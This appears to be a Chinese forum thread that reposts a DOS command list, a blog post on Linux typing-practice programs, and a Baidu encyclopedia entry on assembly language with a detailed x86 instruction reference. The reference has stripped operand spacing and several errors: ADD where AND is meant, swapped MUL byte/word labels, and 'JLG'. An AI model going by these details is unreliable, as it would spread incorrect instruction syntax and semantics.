HISTORY  显示命令行历史。
IF       执行条件处理。
MORE     显示文件内容,每次显示一个帖子。
NET      管理当前用户。
PAUSE    暂停执行程序并显示一条消息。
POPD     还原由 PUSHD 保存的当前目录上一次的值。
PROMPT   更改命令提示符。
PUSHD    保存当前目录以供 POPD 命令使用,然后更改目录。
REM      加上注解或说明。
REN      重命名文件。
SET      显示、设置或删除环境变量。
SHIFT    更改批处理文件中可替换参数的位置。
TIME     显示当前时间。
TITLE    设置命令提示窗口的窗口标题。
TYPE     显示文件内容。
VER      显示系统版本。
VOL      显示磁盘卷标和序列号。

提示:如果您已经登录,您可以将这些命令加入到A:\AUTOEXEC.BAT中来自定义命令提示符。

A:\>
----------------
作者: zzz19760225     时间: 2016-2-3 20:16    标题: 4linux下三种 打字练习软件 (2012-11-22 18:49:45) 5楼

4linux下三种 打字练习软件 (2012-11-22 18:49:45)  5楼
phoenixbz的网志
http://blog.sina.com.cn/binzeng55319574
linux下三种 打字练习软件 (2012-11-22 18:49:45)
标签: ktouch klavaro typespeed linux打字 it        分类: linux
本为以 fedora 17 操作系统 举例:

yum install ktouch
这款软件个人感觉比金山打字好,如果输入错误不能继续下去,界面比界山好看

----------------
yum install klavaro
设置 键盘USA, qwety
这是游戏

--------------------
yum install Typespeed
这个是打字游戏,但是在终端训练
作者: zzz19760225     时间: 2016-2-5 21:08    标题: 5百度汇编 6楼

汇编
编辑词条
该词条缺少基本信息栏、词条分类,补充相关内容帮助词条更加完善!立刻编辑>>

汇编(拼音:huì biān)大多是指汇编语言(Assembly Language),汇编程序。把汇编语言翻译成机器语言的过程称为汇编。在汇编语言中,用助记符(Memoni)代替操作码,用地址符号(Symbol)或标号(Label)代替地址码。这样用符号代替机器语言的二进制码,就把机器语言变成了汇编语言。于是汇编语言亦称为符号语言。用汇编语言编写的程序,机器不能直接识别,要由一种程序将汇编语言翻译成机器语言,这种起翻译作用的程序叫汇编程序,汇编程序是系统软件中语言处理的系统软件。


1词语解释
2汇编简介
3编译环境
4相关现状
5常用命令
数据传送指令
逻辑指令
移位指令
串处理指令
控制转移指令
过程调用及返回指令
中断指令
处理机控制指令
十进制调整指令
6相关教材
《80x86汇编语言基础教程》
《汇编语言》
《新版汇编语言程序设计》
《汇编语言程序设计》
1 词语解释 编辑
huìbiān

1.动词,把资料或文章等编辑在一起

2.名词,编辑在一起的资料,文献

3.名词,一种计算机语言

2 汇编简介 编辑
汇编语言(AssemblyLanguage)是面向机器的程序设计语言。[1]

汇编语言比机器语言易于读写、易于调试和修改,同时也具有机器语言执行速度快,占内存空间少等优点,但在编写复杂程序时具有明显的局限性,汇编语言依赖于具体的机型,不能通用,也不能在不同机型之间移植。

常说汇编语言过时,是低级语言,并不是说汇编语言要被丢弃,相反,汇编语言仍然是程序员必须了解的语言,甚至在某些行业与领域,汇编是必不可少的,非它不可适用。只是,现在计算机最大的领域为IT软件,也是我们常说的Windows编程,在熟练的程序员手里,使用汇编语言编写的程序,运行效率和性能比用其它语言写的程序优秀数倍,但是代价是需要更长的时间来优化,如果对计算机原理及编程基础不扎实,实在是得不偿失,加上高级语言的优秀与跨平台,一个公司不可能让一个团队使用汇编语言来编写所有的东西,因为这要花上几倍甚至几十倍的时间,不如使用其它语言来完成,只要最终结果不比汇编语言编写的差太多,就能抢先一步完成,这是市场经济下的必然结果。

总之,汇编语言是程序员的必修语言。

目前国内较好的汇编网站是“AoGo汇编小站”。其站长aogo,就是一个在工业方面有所成就的工程师,有意者可多参考。

其次就是罗云彬的汇编站点:这个大概是国内建站时间最长的汇编站点,其编写的《Windows环境下32位汇编语言程序设计》一书。是站长十几年的经验的集合,不妨看看。

熟悉指令,可以尝试破解,加强兴趣,参考看雪学院,国内最好的破解组织,其中看雪与众高手打造的破解书《加密解密完全方案》非常有名。汇编语言是一种低级的程序语言可直接控制硬件。

3 编译环境 编辑
汇编的调试环境总的来说比较少,也很少有非常好的编译器。reallychenchi设计的轻松汇编是一款非常适合初学者的汇编编译器。轻松汇编是一个汇编语言集成开发环境,主要面向汇编语言初学者,也可以用它进行开发。除了普通的编辑功能以外,它还可以自动整理格式、高亮显示和编译、链接、调试汇编程序,非常方便实用。

轻松汇编的最大特点是可以格式整理,就像VC6.0一样,可以设置断点调试,省却了使用者的不少工作。它可以在Win98/2k/XP下运行,是一款很优秀的软件。

4 相关现状 编辑
随着现代软件系统越来越庞大复杂,大量经过了封装的高级语言如C/C++,Pascal/ObjectPascal也应运而生。这些新的语言使得程序员在开发过程中能够更简单,更有效率,使软件开发人员得以应付快速的软件开发的要求。而汇编语言由于其复杂性使得其适用领域逐步减小。但这并不意味着汇编已无用武之地。由于汇编更接近机器语言,能够直接对硬件进行操作,生成的程序与其他的语言相比具有更高的运行速度,占用更小的内存,因此在一些对于时效性要求很高的程序、许多大型程序的核心模块以及工业控制方面大量应用。

此外,虽然有众多编程语言可供选择,但汇编依然是各大学计算机科学类专业学生的必修课,以让学生深入了解计算机的运行原理。[2]

5 常用命令 编辑
数据传送指令
一通用数据传送指令

指令        英文全拼        翻译
MOV        Move        传送
PUSH        Pushontothestack        进栈
POP        Popfromthestack        出栈
XCHG        Exchange        交换
MOV指令为双操作数指令,两个操作数中不能全为内存操作数

格式:MOVDST,SRC

执行操作:dst=src

注:1.目的数可以是通用寄存器,存储单元和段寄存器(但不允许用CS段寄存器).

2.立即数不能直接送段寄存器

3.不允许在两个存储单元直接传送数据

4.不允许在两个段寄存器间直接传送信息

PUSH入栈指令及POP出栈指令:

堆栈操作是以“后进先出”的方式进行数据操作。

格式:PUSHSRC//Word

执行操作:(SP)<-(SP)-2

((SP)+1,(SP))<-(SRC)

注:1.入栈的操作数除不允许用立即数外,可以为通用寄存器,段寄存器(全部)和存储器。

2.入栈时高位字节先入栈,低位字节后入栈。

格式:POPDST//Word

执行操作:(DST)<-((SP+1),(SP))

(SP)<-(SP)+2

注:1.出栈操作数除不允许用立即数和CS段寄存器外,可以为通用寄存器,段寄存器和存储器。

2.执行POPSS指令后,堆栈区在存储区的位置要改变。

3.执行POPSP指令后,栈顶的位置要改变。

XCHG(eXCHanG)交换指令:

将两操作数值交换。

格式:XCHGOPR1,OPR2//Byte/Word

执行的操作:(OPR1)<-->(OPR2)

注:1.必须有一个操作数是在寄存器中

2.不能与段寄存器交换数据

存储器与存储器之间不能交换数据。

二累加器专用传送指令

指令        英文全拼        翻译
IN        Input        输入
OUT        Output        输出
XLAT        Translate        换码
IN输入指令

长格式为:INAL,PORT(字节)

INAX,PORT(字)

执行的操作:(AL)<-(PORT)(字节)

(AX)<-(PORT+1,PORT)(字)

短格式为:INAL,DX(字节)

INAX,DX(字)

OUT输出指令

长格式为:OUTPORT,AL(字节)

OUTPORT,AX(字)

执行的操作:(PORT)<-(AL)(字节)

(PORT+1,PORT)<-(AX)(字)

短格式为:OUTDX,AL(字节)

OUTDX,AX(字)

执行的操作:((DX))<-(AL)(字节)

((DX)+1,(DX))<-AX(字)

XLAT(TRANSLATE)换码指令:

把一种代码转换为另一种代码。

格式:XLAT(OPR可选)//Byte

执行操作:(AL)<-((BX)+(AL))

注:指令执行时只使用预先已存入BX中的表格首地址,执行后,AL中内容则是所要转换的代码。

三有效地址送寄存器指令

指令        英文全拼        翻译
LEA        Loadeffectiveaddress        有效地址送寄存器
LDS        LoadDSwithPointer        指针送寄存器和DS
LES        LoadESwithPointer        指针送寄存器和ES
LEA(LoadEffectiveAddress):

有效地址传送寄存器指令

格式:LEAREG,SRC//指令把源操作数SRC的有效地址送到指定的寄存器中。

执行操作:(REG)<-SRC

注:1.SRC只能是各种寻址方式的存储器操作数,REG只能是16位寄存器

2.MOVBX,OFFSETOPER_ONE等价于LEABX,OPER_ONE

3.MOVSP,[BX]//将BX间接寻址的相继的二个存储单元的内容送入SP中

4.LEASP,[BX]//将BX的内容作为存储器有效地址送入SP中

LDS(LoadDSwithpointer):

指针送寄存器和DS指令

格式:LDSREG,SRC//常指定SI寄存器。

执行的操作:(REG)<-(SRC)

(DS)<-(SRC+2)

注:把源操作数指定的4个相继字节送到由指令指定的寄存器及DS寄存器中。该指令常指定SI寄存器。

LES(LoadESwithpointer)指针送寄存器和ES指令

格式:LESREG,SRC//常指定DI寄存器

执行的操作:(REG)<-(SRC)

(ES)<-(SRC+2)//与LDS大致相同,不同之处是将ES代替DS而已。

注:把源操作数指定的4个相继字节送到由指令指定的寄存器及ES寄存器中。该指令常指定DI寄存器。

四标志寄存器传送指令

指令        英文全拼        翻译
LAHF        LoadAHwithflags        标志送AH
SAHF        storeAHintoflags        AH送标志寄存器
PUSHF        pushtheflags        标志进栈
POPF        poptheflags        标志出栈
LAHF(LoadAHwithFlags)

标志位送AH指令

格式:LAHF......

执行操作:(AH)<-(PWS的低字节)

注:将PSW寄存器中的低8位的状态标志(条件码)送入AH的相应位,SF送D7位,ZF送D6位

SAHF(StoreAHintoFlags)

AH送标志寄存器指令

格式:SAHF

执行操作:(PWS的低字节)<-(AH)

注:将AH寄存器的相应位送到PSW寄存器的低8位的相应位,AH的D7位送SF,D6位送ZF。

PUSHF(PUSHtheFlags)

标志进栈指令

格式:PUSHF

执行操作:(SP)<-(SP)-2

SP=SP-1,(SP)=PSW的高8位,SP=SP-1,(SP)=PSW的低8位

注:将标志寄存器的值压入堆栈顶部,同时栈指针SP值减2

POPF(POPtheFlags)

标志出栈指令

格式:POPF

执行操作:(PWS)<-((SP)+1,(SP))

(SP)<-(SP+2)

PSW低8位=(SP),SP=SP+1,PSW高8位=(SP),SP=SP+1

注:与PUSHF相反,从堆栈的顶部弹出两个字节送到PSW寄存器中,同时堆栈指针值加2

算术指令

一加法指令

指令        英文全拼        翻译
ADD        add        加法
ADC        addwithcarry        带进位加法
INC        increment        加1
ADD(ADD)加法指令

格式:ADDDST,SRC//Byte/Word

执行操作:(DST)<-(SRC)+(DST)

注:1.两个存储器操作数不能通过ADD指令直接相加,即DST和SRC必须有一个是通用寄存器操作数。

2.段寄存器不能作为SRC和DST.

3.影响标志位AuxiliaryCrrayFlag,CarryFlag,OverflowFlag,ParityFlag,SignFlag和ZeroFlag,如下所示:

CF根据最高有效位是否有进(借)位设置的:有进(借)位时CF=1,无进(借)位时CF=0.

OF根据操作数的符号及其变化来设置的:若两个操作数的符号相同,而结果的符号与之相反时OF=1,否则为0.

ZF根据结果来设置:不等于0时ZF=0,等于0时ZF=1

SF根据结果的最高位来设置:最高位为0,则SF=0.

AF根据相加时D3是否向D4进(借)位来设置:有进(借)位时AF=1,无进(借)位时AF=0

PF根据结果的1的个数时否为奇数来设置:1的个数为奇数时PF=0,为偶数时PF=1

ADC(ADdwithCarry)带进位加法指令

格式:ADCDST,SRC//Byte/Word

执行操作:(DST)<-(SRC)+(DST)+CF

注:与ADD不同之处是还要加上进位标志位的值。

INC(INCrement)加1指令

格式:INCOPR//Byte/Word

执行操作:(OPR)<-(OPR)+1

注:1.OPR可以是寄存器和存储器操作数,但不能是立即数和段寄存器

2.影响标志位OF,SF,ZF,PF和AF,不影响CF.

二减法指令

指令        英文全拼        翻译
SUB        subtract        减法
SBB        subtractwithborrow        带借位减法
DEC        Decrement        减1
NEG        Negate        求补
CMP        Compare        比较
SUB(SUBtract)不带借位的减法指令

格式:SUBDST,SRC//Byte/Word

执行操作:(DST)<-(DST)-(SRC)

注:1.DST和SRC寻址方式及规定与ADD相同。

2.影响全部标志位。(判断标志位参见ADD)

SBB(SuBtractwithBorrow)带借位减法指令

格式:SBBDST,SRC//Byte/Word

执行操作:(DST)<-(DST)-(SRC)-CF

DEC(DECrement)减1指令

格式:DECOPR//Byte/Word

执行操作:(OPR)<-(OPR)-1//除CF标志位,其余标志位都受影响。

NEG(NEGate)求补指令

格式:NEGOPR

执行操作:(OPR)<--(OPR)//将操作数按位求反后末位加1.

CMP(CoMPare)比较指令

格式:CMPOPR1,OPR2

执行操作:(OPR1)-(OPR2)//与SUB指令一样执行运算,但不保存结果。

注:该指令与SUB指令一样执行减法操作,但不保存结果,只是根据结果设置条件标志。

比较情况        无符号数        有符号数
A=B        ZF=1        ZF=1
A>B        CF=0&&ZF=0        SF^OF=0&&ZF=0
A<B        CF=1&&ZF=0        SF^OF=1&&ZF=0
A>=B        CF=0||ZF=1        SF^OF=0||ZF=1
A<=B        CF=1||ZF=1        SF^OF=1||ZF=1
三乘法指令

指令        英文全拼        翻译
MUL        UnsignedMultiple        无符号数乘法
IMUL        SignedMultiple        带符号数乘法
MUL(unsignedMULtiple)无符号数乘法指令

格式:MULSRC//Byte/Word.

执行操作:字操作:(AX)<-(AL)*(SRC)//字节运算时目的操作数用AL,乘积放在AX中

字节操作:(DX,AX)<-(AX)*(SRC)//字运算时目的操作数用AX,DX存放乘积的高位字,AX放乘积的低位字

注:1.目的数必须是累加器AX或AL,指令中不需写出

源操作数SRC可以是通用寄存器和各种寻址方式的存储器操作数,而绝对不允许是立即数或段寄存器。

IMUL(sIgnedMULtiple)有符号数乘法指令

格式:IMULSRC//与MUL指令相同,但必须是带符号数

四除法指令

指令        英文全拼        翻译
DIV        Unsigneddivide        无符号数除法
IDIV        Signeddivide        带符号数除法
CBW        Convertbytetoword        字节转换为字
CWD        Contertwordtodoubleword        字转换为双字
DIV(unsignedDIVide)无符号数除法指令

格式:DIVSRC//Byte/Word其中:SRC的规定同乘法指令MUL

执行操作:字节操作:(AL)<-(AX)/(SRC)的商

(AH)<-(AX)/(SRC)的余数

字操作:(AX)<-(DX,AX)/(SRC)的商

(DX)<-(DX,AX)/(SRC)的余数

注:存储器操作数必须指明数据类型:BYTEPTRsrc或WORDPTRsrc

IDIV(sIgnedDIVied)有符号数除法指令

格式:IDIVSRC

执行的操作:与DIV相同,但操作数必须是带符号数,商和余数也均为带符号数,且余数的符号与被除数的符号相同。

CBW(ConvertBytetoWord)字节转换为字指令

格式:CBW

执行操作:AL中的符号位(D7)扩展到8位AH中,若AL中的D7=0,则AH=00H,若AL中的D7=1,则AH=FFH.

CWD(ConvertWordtoDoubleword)字转换为双字指令

格式:CWD

执行操作:AX中的符号位(D15)扩展到16位DX中,若AX中的D15=0,则DX=0000H,若AX中的D15=1,则DX=FFFFH

注:这两条指令都不影响条件码。

逻辑指令
一逻辑运算指令

指令        英文全拼        翻译
AND        and        逻辑与
OR        or        逻辑或
NOT        not        逻辑非
XOR        exclusiveor        异或
TEST        test        测试
AND,OR,XOR和TEST都是双字节操作指令,操作数的寻址方式的规定与算术运算指令相同。

NOT是单字节操作指令,不允许使用立即数。

逻辑运算均是按位进行操作,真值表如下:

AND(位与&)        OR(位或|)        XOR(位异或^)
1&1=1        1|1=1        1^1=0
1&0=0        1|0=1        1^0=1
0&1=0        0|1=1        0^1=1
0&0=0        0|0=0        0^0=0
AND(and)逻辑与指令

格式:ANDDST,SRC//Byte/Word

执行操作:(DST)<-(DST)^(SRC)

注:1.AND指令执行后,将使CF=0,OF=0,AF位无定义,指令执行结果影响SF,ZF和PF标志位。

2.AND指令典型用法A:用于屏蔽某些位,即使某些位为0.

例子:屏蔽AL的高4位:即将高4位和0000B相与,低4位和1111B相与

MOVAL,39H//AL=00111001B[39H]

ADDAL,0FH//AL=00001001B[09H]即00111001B[39H]&00001111B[0FH]=00001001B[09H]

AND指令典型用法B:取出某一位的值(见TEST)

OR(or)逻辑或指令

格式:ORDST,SRC//Byte/Word

执行操作:(DST)<-(DST)|(SRC)

注:1.OR指令执行后,将使CF=0,OF=0,AF位无定义,指令执行结果影响SF,ZF和PF标志位。

2.常用于将某些位置1.

例子:将AL的第5位置1:

MOVAL,4AH//AL=01001010B[4AH]

ORAL,10H//AL=01011010B[5AH]即01001010B[4AH]|00010000B[10H]=01011010B[5AH]

XOR(eXclusiveOR)逻辑异或指令

格式:XORDST,SRC//Byte/Word

执行操作:(DST)<-(DST)^(SRC)

注:1.XOR指令常用于使某个操作数清零,同时使CF=0,清除进位标志。

2.XOR指令使某些位维持不变则与'0'相异或,若要使某些位取反则与'1'相异或。

例子:将AL的高4位维持不变,低4位取反:

MOVAL,B8H//AL=10111000B[B8H]

XORAL,0FH//AL=10110111B[B7H]即10111000B[B8H]^00001111[0FH]=10110111B[B7H]

例子:测试某一个操作数是否与另一确定操作数相等:

XORAX,042EH

JZ....//如果AX==042EH,则ZF=TRUE(1),执行JZ...

NOT(not)逻辑非指令

格式:NOTOPR//Byte/Word

执行操作:(OPR)<~(OPR)//~01100101[65H]=10011010[9AH]

1.操作数不能使用立即数或段寄存器操作数,可使用通用寄存器和各种方式寻址的存储器操作数。

2.NOT指令不影响任何标志位。

例子:将AL各位取反:

MOVAL,65H//AL=01100101B[65H]

NOTAL//AL=10011010B[9AH]即~01100101B[65H]=10011010B[9AH]

TEST(test)指令

格式:TESTOPR1,OPR2//Byte/Word

执行操作:opr1&opr2

注:1.两个操作数相与的结果不保存,结果影响标志位PF,SF和ZF,使CF=0,OF=0,而AF位无定义。

2.TEST指令常用于在不改变原有的操作数的情况下,检测某一位或某几位的条件是否满足。只要令用来测试的操作数对应检测位为1,其余位为0,相与后判断零标志ZF值的真假。

例:检测某位是否为1:

令用来测试的操作数对应检测位为1,其余位为0,TEST指令后,若该位为1则JNZ...

TESTAL,000000001B//测试AL最低位是否为1::令用来测试的操作数对应检测位为1,其余位为0,执行TEST指令

JNZTHER//最低位若为1,则ZF=FALSE(0),执行JNZTHER,否则执行下一条指令。

或者:先对操作数求反,若该位为1则JZ...

MOVDL,AL//将AL传送到DL,主要是不要影响AL的值。以下测试AL的b2位是否为1

NOTDL//先对操作数求反

TEST00000100B//令用来测试的操作数对应检测位为1,其余位为0,执行TEST指令

JZTHER//若AL的b2位为1,则ZF=TRUE(1),执行JZTHER

B:移位指令[所有的移位指令都影响标志位CF、OF、PF、SF和ZF、AF无定义。]

非循环逻辑移位:把操作数看成无符数来进行移位。

移位指令
指令        英文全拼        翻译
SHL        shiftlogicalleft        逻辑左移
SAL        shiftarithmeticleft        算术左移
SHR        shiftlogicalright        逻辑右移
SAR        shiftarithmeticright        算术右移
ROL        Rotateleft        循环左移
ROR        Rotateright        循环右移
RCL        Rotateleftthroughcarry        带进位循环左移
RCR        Rotaterightthroughcarry        带进位循环右移
SHL(SHiftlogicalLeft)逻辑左移指令

格式:SHLOPR,CNT//Byte/Word

执行操作:使OPR左移CNT位,并使最低CNT位为全0.

1.OPR操作数不能使用立即数或段寄存器操作数,可使用通用寄存器和各种方式寻址的存储器操作数。

2.移位次数由CNT决定。每次将OPR的最高位移出并移到CF,最低位补0.

MOVCL,7//若移位多次,先预置移位次数CL

SHLDX,CL//CNT可取1或CL寄存器操作数

SHR(SHiftlogicalRight)逻辑右移指令

格式:SHROPR,CNT//Byte/Word

执行操作:同SHL,每次将OPR的最低位D0移出并移到CF.最高位补0.

非循环算术移位:将操作数看成有符号数来进行移位。

SAL(ShiftArithmeticLeft)算术左移指令

格式:SALOPR,CNT//Byte/Word

执行操作:SAL指令与SHL指令完全相同

SAR(ShiftArithmeticRight)算术右移指令

格式:SAROPR,CNT//Byte/Word

执行操作:SAR指令每次移位时,将最高位移入次高位的同时最高位值不变,最低位D0移出并移到CF.

循环移位指令

ROL(ROtateLeft)循环左移指令

格式:ROLOPR,CNT//Byte/Word

执行操作:每次移位时,最高位移出并同时移到CF和最低位D0.

ROR(ROtateRight)循环右移指令

格式:ROROPR,CNT//Byte/Word

执行操作:每次移位时,最低位D0移出并同时移到CF和最高位。

带进位循环移位指令

RCL(RotateLeftthroughCarry)带进位循环左移指令

格式:RCLOPR,CNT//Byte/Word

RCR(RotateRightthroughCarry)带进位循环右移指令

格式:RCROPR,CNT//Byte/Word

串处理指令
一与REP相配合工作的MOVS,STOS和LODS指令

指令        英文全拼        翻译
REP        repeat        重复操作
MOVS        MOVeString        串传送指令
STOS        STOreintoString        存入串指令
LODS        LOaDfromString        从串取指令
CLD        Cleardirectionflag        使地址自动增量
STD        Setdirectionflag        使地址自动减量
REP(REPeat)重复操作前缀

格式:REPStringPrimitive

执行的操作:

1)如(CX)=0则退出REP,否则往下执行。

2)(CX)<-(CX)-1

3)执行其中的串操作

4)重复1)~3)

注:其中StringPrimitive可为MOVS,LODS或STOS指令

.MOVS串传送指令

格式:MOVSES:BYTEPTR[DI],DS:[SI]

可有三种

MOVSDST,SRC

MOVSB//字节串传送DF=0,SI=SI+1,DI=DI+1;DF=1,SI=SI-1,DI=DI

MOVSW//字串传送DF=0,SI=SI+2,DI=DI+2;DF=1,SI=SI-2,DI=DI-2

MOVSD//双字串传送DF=0,SI=SI+4,DI=DI+4;DF=1,SI=SI-4,DI=DI-4

MOVSX//符号传送

MOVZX//零传送

执行的操作:

1)如(CX)=0则退出REP,否则往下执行。

2)(CX)<-(CX)-1

3)执行其中的串操作

4)重复1)~3)

.MOVS串传送指令

注:当方向标志DF=1时用,其中第二、三种格式明确地注明是传送字节或字,第一种格式则应在操作数中表明是字还是字节操作,例如:

1)((DI))<-((SI))

2)字节操作:(SI)<-(SI)+(或-)1,(DI)<-(DI)+(或-)1//当方向标志DF=0时用

3)字操作:(SI)<-(SI)+(或-)2,(DI)<-(DI)+(或-)2当方向标志DF=0时用//当方向标志DF=1时用-

该指令不影响条件码。

STOS(STOreintoString)存入串指令

格式:STOSDST

STOSB//存放字节串(DI)=AL

STOSW//存放字串(DI)=AX

执行操作:把AL或AX中的内容存放由DI指定的附加段的字节或字单元中,并根据DF值修改及数据类型修改DI的内容。

字节操作:((DT))←(AL),(DI)←(DI)±1

字操作:((DI))←(AX),(DI)←(DI)±2

注:1.在执行该指令之前,必须把要存入的数据预先存入AX或AL中,必须预置DI的初值。

2.DI所指向的存储单元只能在附加段中,即必须是ES:[DI]

3.该指令把AL或AX的内容存入由(DI)指定的附加段的某单元中,并根据DF的值及数据类型修改DI的内容,当它与REP联用时,可把AL或AX的内容存入一个长度为(CX)的缓冲区中。

LODS(LOaDfromString)从串取指令

格式:LODSSRC

LODSB//从字节串取AL=(SI)

LODSW//从字串取AX=(SI±1)(SI)

执行操作:字节操作:(AL)<-((SI)),(SI)<-(SI)+-1

字操作:(AX)<-((SI)),(SI)<-(SI)+-2

把由SI指定的数据段中字节或字单元的内容送入AL或AX中,并根据DF值及数据类型修改SI的内容。

注:1.在执行该指令之前,要取的数据必须在存储器中预先定义(用DB或DW),必须预置SI的初值。

2.源串允许使用段超越前缀来改变数据存储的段区。

3.该指令把由(SI)指定的数据段中某单元的内容送到AL或AX中,并根据方向标志及数据类型修改SI的内容。指令允许使用段跨越前缀来指定非数据段的存储区。该指令也不影响条件码。

4.一般说来,该指令不和REP联用。有时缓冲区中的一串字符需要逐次取出来测试时,可使用本指令。

CLD(CLearDirectionflag)清除方向标志指令

格式:CLD

执行操作:令DF=0,其后[SI],[DI]执行增量操作

该指令使DF=0,在执行串操作指令时可使地址自动增量

STD(SeTDirectionflag)设置方向标志指令

格式:STD

执行操作:令DF=1,其后[SI],[DI]执行减量操作

该指令使DF=1,在执行串操作指令时可使地址自动减量。

二与REPE/REPZ和REPNZ/REPNE联合工作的CMPS和SCAS指令

指令        英文全拼        翻译
REPE/REPZ        RepeatEqualtoZero        等于零时重复操作
REPNE/REPNZ        RepeatNotEqualtoZero        不等于零时重复操作
CMPS        CoMPareString        串比较指令
SCAS        SCAnString        串扫描指令
.REPE/REPZ当相等/为零时重复串操作

格式:REPE(或REPZ)StringPrimitive

其中StringPrimitive可为CMPS或SCAS指令。

执行的操作:

1)如(CX)=0或ZF=0(即某次比较的结果两个操作数不等)时退出,否则往下执行

2)(CX)<-(CX)-1

3)执行其后的串指令

4)重复1)~3)

.REPNE/REPNZ当不相等/不为零时重复串操作

格式:REPNE(或REPNZ)StringPrimitive

执行的操作:

除退出条件(CX=0)或ZF=1外,其他操作与REPE完全相同。

CMPS(CoMPareString)串比较指令

格式:CMPSSRC,DST

CMPSB//字节串比较(SI)-(DI)

CMPSW//字串比较(SI+1)(SI)-(DI+1)(DI)

执行操作:把由SI指向的数据段中的一个字节或字与由DI指向的附加段中的一个字节或字相减,不保留结果,只根据结果置标志位。

1)((SI))-((DI))

2)字节操作:(SI)<-(SI)+-1,(DI)<-(DI)+-1

字操作:(SI)<-(SI)+-2,(DI)<-(DI)+-2

注:指令把由(SI)指向的数据段中的一个字(或字节)与由(DI)指向的附加段中的一个字(或字节)相减,但不保存结果,只根据结果设置条件码,指令的其它特性和MOVS指令的规定相同。

.SCAS(SCAnString)串扫描指令

格式:SCASDST

SCASB

SCASW

执行操作:把AX或AL的内容与由DI指向的在附加段中的一个字节或字相减,不保留结果,根据结果置标志位。

字节操作:(AL)-((DI)),(DI)<-(DI)+-1

字操作:(AL)-((DI)),(DI)<-(DI)+-2

注:该指令把AL(或AX)的内容与由(DI)指定的在附加段中的一个字节(或字)进行比较,并不保存结果,只根据结果置条件码。指令的其他特性和MOVS的规定相同。

控制转移指令
一JMP(JuMP)无条件转移指令

名称        格式        执行操作
段内直接短跳转        JMPSHORTOPR        IP=IP+8位偏移量
段内直接近转移        JMPNEARPTROPR        IP=IP+16位偏移量
段内间接转移        JMPWORDPTROPR        IP=(EA)
段间直接转移        JMPFARPTROPR        IP=OPR偏移地址,CS=OPR段地址
段间间接转移        JMPDWORDPTROPR        IP=(EA),CS=(EA+2)
1)段内直接短转移

格式:JMPSHORTOPR

执行的操作:(IP)<-(IP)+8位位移量

2)段内直接近转移

格式:JMPNEARPTROPR

执行的操作:(IP)<-(IP)+16位位移量

3)段内间接转移

格式:JMPWORDPTROPR

执行的操作:(IP)<-(EA)

4)段间直接(远)转移

格式:JMPFARPTROPR

执行的操作:(IP)<-OPR的段内偏移地址

(CS)<-OPR所在段的段地址

5)段间间接转移

格式:JMPDWORDPTROPR

执行的操作:(IP)<-(EA)

(CS)<-(EA+2)

1.无条件转移到指定的地址去执行从该地址开始的指令。

2.段内转移是指在同一代码段的范围内进行转移,只需改变IP寄存器内容。

3.段间转移则要转移到另一个代码段执行程序,此时要改变IP寄存器和CS段寄存器的内容。

二条件转移指令:

指令        英文全拼        翻译
JZ/JE        Jumpifzero,orequal        结果为零(或相等)则转移
JNZ/JNE        Jumpifnotzero,ornotequal        结果不为零(或不相等)则转移
JS        Jumpifsign        结果为负则转移
JNS        Jumpifnotsign        结果为正则转移
JO        Jumpifoverflow        溢出则转移
JNO        Jumpifnotoverflow        不溢出则转移
JP/JPE        Jumpifparity,orparityeven        奇偶位为1则转移
JNP/JPO        Jumpifnotparity,orparityodd        奇偶位为0则转移
JB/JNAE/JC        Jumpifbelow,ornotaboveorequal,orcarry        低于,或者不高于或等于,或进位位为1则转移
JNB/JAE/JNC        Jumpifnotbelow,oraboveorequal,ornotcarry        不低于,或者高于或者等于,或进位位为0则转移
根据上一条指令所设置的条件码(标志位)来判断测试条件。

JZ(或JE)(Jumpifzero,orequal)结果为零(或相等)则转移

格式:JE(或JZ)OPR

测试条件:ZF=1

.JNZ(或JNE)(Jumpifnotzero,ornotequal)结果不为零(或不相等)则转移

格式:JNZ(或JNE)OPR

测试条件:ZF=0

.JS(Jumpifsign)结果为负则转移

格式:JSOPR

测试条件:SF=1

.JNS(Jumpifnotsign)结果为正则转移

格式:JNSOPR

测试条件:SF=0

.JO(Jumpifoverflow)溢出则转移

格式:JOOPR

测试条件:OF=1

.JNO(Jumpifnotoverflow)不溢出则转移

格式:JNOOPR

测试条件:OF=0

.JP(或JPE)(Jumpifparity,orparityeven)奇偶位为1则转移

格式:JPOPR

测试条件:PF=1

.JNP(或JPO)(Jumpifnotparity,orparityodd)奇偶位为0则转移

格式:JNP(或JPO)OPR

测试条件:PF=0

.JB(或JNAE,JC)(Jumpifbelow,ornotaboveorequal,orcarry)低于,或者不高于或等于,或进位位为1则转移

格式:JB(或JNAE,JC)OPR

测试条件:CF=1

.JNB(或JAE,JNC)(Jumpifnotbelow,oraboveorequal,ornotcarry)不低于,或者高于或者等于,或进位位为0则转移

格式:JNB(或JAE,JNC)OPR

测试条件:CF=0

2)比较两个无符号数,并根据比较的结果转移

.JB(或JNAE,JC)

格式:同上

.JNB(或JAE,JNC)

格式:同上

.JBE(或JNA)(Jumpifbeloworequal,ornotabove)低于或等于,或不高于则转移

格式:JBE(或JNA)OPR

测试条件:CFVZF=1

.JNBE(或JA)(Jumpifnotbeloworequal,orabove)不低于或等于,或者高于则转移

格式:JNBE(或JA)OPR

测试条件:CFVZF=0

根据五个标志位:ZF、SF、OF、PF、CF的两种状态(0FALSE或1TRUE)产生10种测试条件。

名称        简写        格式        Flag==TRUE[3]        Flag==FALSE
ZeroFalg        ZF        JE/JZOPR        结果为零转移JNE/JNZOPR        结果不为零转移
SignFalg        SF        JSOPR        结果为负转移JNSOPR        结果为正转移
OverflowFlag        OF        JOOPR        溢出转移JNOOPR        不溢出转移
ParityFlag        PF        JP/JPEOPR        结果为偶转移JNP/JPOOPR        结果为奇转移
CarryFlag        CF        JCOPR        有进位转移JNCOPR        无进位转移
情况        指令        满足条件        指令        满足条件
A<B        JC        CF==1        JL        SF^OF==1&&ZF==0
A≥B        JNC        CF==0        JNL        SF^OF==0||ZF==1
A≤B        JNA        CF==1||ZF==1        JLG        SF^OF==1||ZF==1
A>B        JA        CF==0&&ZF==0        JG        SF^OF==0&&ZF==0
三比较两个无符号数,并根据比较的结果转移

指令        英文全拼        翻译
JB/JNAE/JC        Jumpifless,ornotgreaterorequal        小于,或者不大于或者等于则转移
JNB/JAE/JNC        Jumpifnotless,orgreaterorequal        不小于,或者大于或者等于则转移
JBE/JNA        Jumpifbeloworequal,ornotabove        低于或等于,或不高于则转移
JNBE/JA        Jumpifnotbeloworequal,orabove        不低于或等于,或者高于则转移
.JB(或JNAE,JC)

格式:同上

.JNB(或JAE,JNC)

格式:同上

.JBE(或JNA)(Jumpifbeloworequal,ornotabove)低于或等于,或不高于则转移

